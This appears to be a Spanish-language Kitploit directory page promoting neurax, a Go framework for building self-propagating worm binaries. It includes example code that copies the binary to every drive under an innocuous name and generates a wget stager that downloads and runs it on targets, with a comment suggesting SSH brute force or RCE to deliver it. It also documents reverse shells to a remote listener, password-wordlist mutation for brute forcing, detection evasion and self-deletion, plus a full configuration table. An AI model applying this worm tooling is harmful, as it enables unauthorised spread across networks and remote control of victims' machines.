Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
neurax — Un framework para construir binarios autopropagantes | Kitploit
Herramientas/GitHubGitHub/redcode-labs/neurax
ReconocimientoAtaques de ContraseñasGeneración de PayloadsMecanismos de PersistenciaExplotaciónMovimiento LateralPost-ExplotaciónAnálisis de MalwareComando y ControlRed Teaming
GitHubredcode-labs/neurax

neurax

1.0k101hace 2 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Un framework para construir binarios autopropagantes

Ver Repositorio
Compartir



Neurax



Un framework que ayuda en la creación de software de autopropagación



Resumen

Con la ayuda de Neurax, los binarios Golang pueden propagarse en LAN/WAN sin usar servidores externos.

Diversas opciones de configuración y stagers de comandos permiten una propagación rápida en diversos entornos inalámbricos.

Código de ejemplo

root@kitploit:~
package main
import . "github.com/redcode-labs/Neurax"

func main(){

  //Specify serving port and stager to use
  Nrx.Config.Port = 5555
  Nrx.Config.Stager = "wget"

  //Start a server that exposes the current binary in the background
  go NeuraxServer()
 
  //Copy current binary to all logical drives
  NeuraxDisks()

  //Create a command stager that should be launched on target machine
  //It will download, decode and execute the binary
  cmd_stager := NeuraxStager()

  /* Now you have to somehow execute the command generated above.
     You can use SSH bruteforce, some RCE or whatever else you want ;> */

}



Novedades en v. 2.X (subproyecto separado)

  • Refactorización: se abandonó el enfoque similar a un framework en favor de un binario listo para usar
  • Stager wget genérico para todos los objetivos UNIX
  • Un único archivo de configuración para ajustar el comportamiento del gusano sobre la marcha
  • Autoeliminación automática mediante unlinkat(2)
  • Exploit de ejemplo LinuxKI CVE para complementar las capacidades de propagación en red
  • El archivo de configuración JSON se descarga y evalúa
  • Reescritura minimalista del recolector de hosts

Novedades en v. 2.5

  • Ejecución opcional en segundo plano del binario de segunda etapa (N.StagerBg)
  • El stager de comandos guarda y ejecuta en una ruta local al contexto
  • También elimina el binario descargado justo después de una ejecución exitosa
  • Se eliminó el mecanismo de ejecución sincronizada de comandos por razones de velocidad/estabilidad. Se propondrá una alternativa decente antes de la próxima versión.
  • N.NoInfectCheck para deshabilitar la verificación de si el host ya está infectado
  • Política de ejecución única en la máquina objetivo, aplicada con un mutex de archivo exclusivo dentro de NeuraxServer()
  • Se agregó una gorutina anidada para servir el binario
  • Nuevo stager httrack para Linux
  • Lista de palabras común comentada para evasión de detección
  • El stager de comandos puede esperar antes de eliminar el binario (N.StagerRemovalDelay)

Novedades en v. 2.0

  • Nuevos mutadores de listas de palabras + contraseñas comunes por país
  • Escaneo pasivo improvisado
  • Opción .FastScan que hace que los escaneos activos sean un poco más rápidos
  • Las listas de palabras se crean estrictamente en memoria
  • NeuraxScan() acepta una función de callback en lugar de un canal como argumento
  • NeuraxScan() escanea en bucle infinito con posibilidad de establecer un intervalo entre cada escaneo de toda la subred/grupo de objetivos
  • Búsqueda inversa de DNS para objetivos que no están en formato IP
  • Extracción de candidatos a objetivo de la caché ARP
  • Posibilidad de escanear solo una lista seleccionada de objetivos + priorizar objetivos específicos (como puertas de enlace predeterminadas)
  • Posibilidad de especificar interfaz y tiempo de espera al usar escaneo de red pasivo
  • Stager de comandos mejorado (se puede ejecutar opcionalmente con privilegios elevados / varias veces)
  • Algunos cambios en los nombres de las opciones
  • NeuraxConfig. pasó a ser N. (porque es más corto de escribir)
  • Funciones para asignación aleatoria de memoria + migración de binarios
  • Posibilidad de encadenar múltiples stagers (ej. wget + curl)
  • El volumen y la complejidad de la lista de palabras creada se pueden ajustar fácilmente (con opciones como .WordlistExpand)
  • Posibilidad de establecer tiempo de vida del binario creado

Lista de entradas de configuración

Encontrar nuevos objetivos

La función NeuraxScan(func(string)) permite la detección de hosts activos en la red local. Su único argumento es una función de callback que se llama en segundo plano para cada host activo. Un host se considera activo cuando tiene al menos 1 puerto abierto, no está ya infectado y cumple las condiciones especificadas dentro de N.

NeuraxScan() se ejecuta como un bucle infinito: escanea toda la subred especificada por la entrada de configuración .Cidr y, cuando se escanea cada host, la función duerme durante un intervalo dado en .ScanInterval.

Infección de discos

El binario de Neurax no tiene que copiarse a sí mismo por medios inalámbricos. La función NeuraxDisks() copia el binario actual (con un nombre no sospechoso) en todas las unidades lógicas que se encontraron. El binario copiado no se ejecuta, simplemente reside en su destino esperando ser ejecutado. NeuraxDisks() devuelve un error si no se puede obtener la lista de discos o si la copia a algún destino fue imposible.

Otra función, NeuraxZIP(num_files int) err permite crear un archivo .zip con nombre aleatorio que contiene el binario actual. Se guarda en el directorio actual y contiene hasta num_files archivos aleatorios.

NeuraxZIPSelf() simplemente comprime el binario actual, creando un archivo con el mismo nombre.

Conexiones inversas

Se puede establecer un shell inverso interactivo con NeuraxReverse(). Recibirá comandos del hostname especificado dentro de .ReverseListener en la forma "<host>:<port>". El protocolo utilizado se define en .ReverseProto. Si NeuraxOpenComm() se inició antes de llamar a esta función, cada comando se comportará como se describe en la sección anterior. Si no fue así, los comandos se ejecutarán localmente.

Nota: esta función también debe ejecutarse como gorutina para evitar el bloqueo causado por el bucle infinito utilizado para recibir.

Limpieza

Cuando un nodo recibe el comando "purge", reenvía este comando a todos los demás nodos, se elimina a sí mismo del host y sale. Este comportamiento también se puede iniciar usando NeuraxPurge() ejecutado en alguna parte del código fuente.

Creación de listas de palabras

Si el vector de propagación que elijas se basa en algún tipo de fuerza bruta, es bueno tener una lista de palabras preparada. Almacenar palabras en un archivo de texto en el lado del cliente no es realmente efectivo, por lo que puedes mutar una lista básica usando NeuraxWordlist(...words) []string. Para permutar un conjunto de palabras dadas, usa NeuraxWordlistPermute(..words) []string

Establecer tiempo de vida

Si deseas que tu binario se elimine a sí mismo después de un tiempo dado, usa NeuraxSetTTL() al principio de tu código. Esta función debe ejecutarse como una gorutina. Por ejemplo:

go NeuraxSetTTL("2m")

hará que el binario ejecute NeuraxPurgeSelf() después de 2 minutos desde la ejecución inicial.

Usar múltiples stagers a la vez

Si deseas encadenar todos los stagers disponibles para la plataforma dada, establece .Stager en "chain".

Mover el binario descargado

Si necesitas copiar el binario después de la ejecución inicial, usa NeuraxMigrate(path string). Esto copiará el binario en path, eliminará el binario actual y ejecutará el binario recién migrado.

Apoya esta herramienta

Si te gusta este proyecto y quieres verlo crecer, considera hacer una pequeña donación :>

>>>>> DONAR <<<<<

Licencia

Este software está bajo la licencia MIT

Descargar herramienta
NombreDescripciónValor por defecto
Nrx.Config.StagerNombre del stager de comandos a usaraleatorio, compatible con la plataforma
Nrx.Config.StagerSudoSi es verdadero, los stagers de cmd de Linux se ejecutan con privilegios elevadosfalse
Nrx.Config.StagerRetryNúmero de veces para re-ejecutar el stager de comandos0
Nrx.Config.StagerRemoveDelaySe aplica una instrucción de sleep antes de eliminar el binario descargadotrue
Nrx.Config.PortPuerto en el que servir6741
Nrx.Config.PlatformPlataforma a atacardetectado automáticamente
Nrx.Config.PathLa ruta bajo la cual se guarda el binario en el host.
Nrx.Config.FileNameNombre bajo el cual se servirá y luego se guardará el binario descargadoaleatorio
Nrx.Config.Base64Codificar el binario transferido en base64false
Nrx.Config.CommPortPuerto que utilizan los binarios para comunicarse entre sí7777
Nrx.Config.CommProtoProtocolo para la comunicación entre nodos"udp"
Nrx.Config.ReverseListenerContiene "<host>:<port>" del manejador de shell inverso remotono especificado
Nrx.Config.ReverseProtoProtocolo a usar para la conexión inversa"udp"
Nrx.Config.ScanRequiredPortNeuraxScan() trata al host como activo solo si tiene un puerto específico abiertoninguno
Nrx.Config.ScanPassiveNeuraxScan() detecta hosts mediante monitoreo pasivo de tráfico ARPfalse
Nrx.Config.ScanPassiveTimeoutNeuraxScan() monitorea la capa ARP esta cantidad de segundos50 segundos
Nrx.Config.ScanPassiveIfaceInterfaz a usar al escanear pasivamentepredeterminada
Nrx.Config.ScanActiveTimeoutNeuraxScan() establece este valor como tiempo de espera para el puerto escaneado en cada hilo2 segundos
Nrx.Config.ScanPassiveAllNeuraxScan() captura paquetes en todos los dispositivos encontradosfalse
Nrx.Config.ScanPassiveNoArpEl escaneo pasivo no establece un filtro estricto de captura ARPfalse
Nrx.Config.ScanFirstUn slice que contiene direcciones IP a escanear primero[]string{}
Nrx.Config.ScanFirstOnlyNeuraxScan() escanea solo los hosts especificados dentro de .ScanFirstfalse
Nrx.Config.ScanArpCacheNeuraxScan() escanea primero los hosts encontrados en la caché ARP local. Funciona solo con escaneo activofalse
Nrx.Config.ScanCidrNeuraxScan() escanea este CIDRIP local + "\24"
Nrx.Config.ScanActiveThreadsNúmero de hilos a usar para NeuraxScan()10
Nrx.Config.ScanFullRangeNeuraxScan() escanea todos los puertos del host objetivo para determinar si está activodesde 19 hasta 300
Nrx.Config.ScanIntervalIntervalo de tiempo para dormir antes de escanear toda la subred nuevamente"2m"
Nrx.Config.ScanHostIntervalIntervalo de tiempo para dormir antes de escanear el siguiente host en modo activo"ninguno"
Nrx.Config.ScanGatewayFirstLa puerta de enlace es el primer host escaneado cuando se usa escaneo activofalse
Nrx.Config.VerboseSi es verdadero, todos los mensajes de error se imprimen en STDOUTfalse
Nrx.Config.RemoveCuando ocurre algún error, el binario se elimina a sí mismo del hostfalse
Nrx.Config.PreventReexecSi es verdadero, cuando un comando coincide con los que ya se recibieron antes, no se ejecutatrue
Nrx.Config.WordlistExpandNeuraxWordlist() realiza transformaciones no estándar en las palabras de entradafalse
Nrx.Config.WordlistCommonAnteponer las 20 contraseñas más comunes a la lista de palabrasfalse
Nrx.Config.WordlistCommonNumNúmero de contraseñas comunes a usartodas
Nrx.Config.WordlistCommonCountriesUn map[string]int que contiene códigos de país y número de contraseñas a usarmap[string]int
Nrx.Config.WordlistMutatorsMutadores a usar cuando se especifica .WordlistExpand{"single_upper", "cyryllic", "encapsule"}
Nrx.Config.WordlistPermuteNumLongitud máxima de la permutación generada por NeuraxWordlistPermute()2
Nrx.Config.WordlistPermuteSeparatorUn carácter separador a usar para permutaciones"-"
Nrx.Config.WordlistShuffleMezclar la lista de palabras generada antes de devolverlafalse
Nrx.Config.AllocNumEsta entrada define cuántas veces NeuraxAlloc() asigna memoria aleatoria5
Nrx.Config.BlacklistSlice que contiene direcciones IP que se excluyen de cualquier tipo de escaneo[]string{}
Nrx.Config.FastHTTPLa solicitud HTTP en IsHostInfected() se realiza utilizando la biblioteca fasthttpfalse
Nrx.Config.DebugHabilitar mensajes de depuraciónfalse
Nrx.Config.NoInfectCheckDeshabilitar la verificación de si el host ya está infectadotrue